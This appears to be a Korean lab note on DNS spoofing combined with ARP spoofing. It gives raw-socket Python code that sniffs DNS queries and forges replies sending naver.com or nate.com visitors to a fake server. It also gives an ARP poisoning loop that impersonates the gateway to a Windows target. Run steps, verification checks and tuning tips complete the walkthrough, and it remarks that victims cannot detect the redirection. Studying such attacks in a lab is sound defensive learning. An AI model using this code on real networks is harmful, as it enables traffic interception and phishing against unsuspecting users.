while True: (raw,_)=sock.recvfrom(65535) eth=_eth.Eth(raw[:14]) if eth.type == '0x0800': ip=_ip.Ip(raw[14:34]) if ip.type==17: udp=_udp.Udp(raw[34:42]) if udp.dst==53: dns=_dns.Dns(raw[42:54]) query=raw[54:] query=query.split(b'\x00') query=query[0] query_name='' for x in query: if 97 <=x <= 122: query_name +=chr(x) else: query_name += '.' query_name=query_name[1:] print(query_name)
if query_name=='www.naver.com': trx_id=dns.id client_port=udp.src ip_src=ip.src ip_dst=ip.dst eth_src=eth.src eth_dst=eth.dst
dns.set_id(trx_id) dns.set_flag(0x8000) # flag 마지막 번호만 킨 것 dns.set_question(1) dns.set_answer(1) #응답을 받아오므로 1 dns.set_authority(0) dns.set_additional(0)
#vi tmp.py (도메인 따오는 것 ) tmp= b'\x03www\x05naver\x03com' i=0 size =len(query) domain='' while i < size: sub=query[i] domain+='.' for j in range(i+1,i+sub+1):domain+=chr(query[j]) print(i,j,sub) i+=sub+1 print(domain[1:])
1) 쿼리 요청 2) 쿼리 요청분석 - 도메인 추출 3) 가짜응답 주소 : 192.168.4.115 (hex 로 변환후 사용)
4) service named stop python3 dns_spoofing.py 사용 cmd > nslookup > www.naver.com (네트워크 dns 서버 변환 192.168.4.115)
-Arp Spoofing 과 같이 사용
> 가짜 서버 : 192.168.4.154
> 네이버는 보호가 걸려있으므로 nate.com으로 사용
1) ARP Spoofing (공격자쪽으로 패킷이 오도록) - dns : 168.126.63.1, 8.8.8.8 ( 보통의 dns 주소 ) - target : 192.168.4.234 (window) - 게이트 웨이 : 192.168.4.1
eth.set_dst('d0:50:99:7b:97:4c') #234 (target) 의 mac주소 사용 eth.set_src('00:0c:29:10:01:15') eth.set_type('0x0806')
arp.set_hard_type(0x0001) arp.set_pro_type(0x0800) arp.set_hard_len(6) arp.set_pro_len(4) arp.set_opcode(1) arp.set_sender_mac('00:0c:29:10:01:15') # 공격자의 mac 주소 사용 arp.set_sender_ip('192.168.4.1') #게이트 웨이 사용 arp.set_target_mac('00:00:00:00:00:00') arp.set_target_ip('192.168.4.234') #상대방 win 아이피
while True: sock.send(eth.get_header()+arp.get_header()) time.sleep(1)
>> client(victim) --> attacker (내부서버에 같이 있어야함-> arping spoofing을 할것이기 때문이다 ) client ---> 외부의 dns 접속 (ip를물어옴) >>게이트웨이를 통해서 dns 접속 client ---> attacker --> dns (게이트웨이를 arp Spoofing 한다)
3) 192.168.4.234( target ) cmd 에서 arp -a 한후 게이트웨이의 맥 주소가 나의 맥 주소로 변환 되었는지 확인 #arp spoofing 결과
4) 192.168.4.234의 윈도우에서 ( explore창 ) www.nate.com 이라는 주소를 치면 fake page 가 나오는지 확인
주의할점! --> sleep 걸어줘야함 (과도한 트레픽이 감) --> 브로드 케스트 사용하지 않기
#vi arping.py 에서
eth.set_dst('d0:50:99:7b:97:4c') #이부분을 브로드 케스트로 사용하면 안됨 eth.set_src('00:0c:29:10:01:15') eth.set_type('0x0806')
--> 게이트웨이 맥 주소사용하지 않기 (직접사용 안됨)
arp.set_sender_mac('00:0c:29:10:01:15') # 공격자의 mac 주소 사용
! 게이트 웨이 맥 주소 사용하면 안됨 arp.set_sender_ip('192.168.4.1') #게이트 웨이 사용 arp.set_target_mac('00:00:00:00:00:00') arp.set_target_ip('192.168.4.234') #상대방 win 아이피
dns spoofing을 당하면 알아낼수있는 방법이 없다 (피싱) --> 요즘 spoofing 대체 방법 : 인증 사이트 사용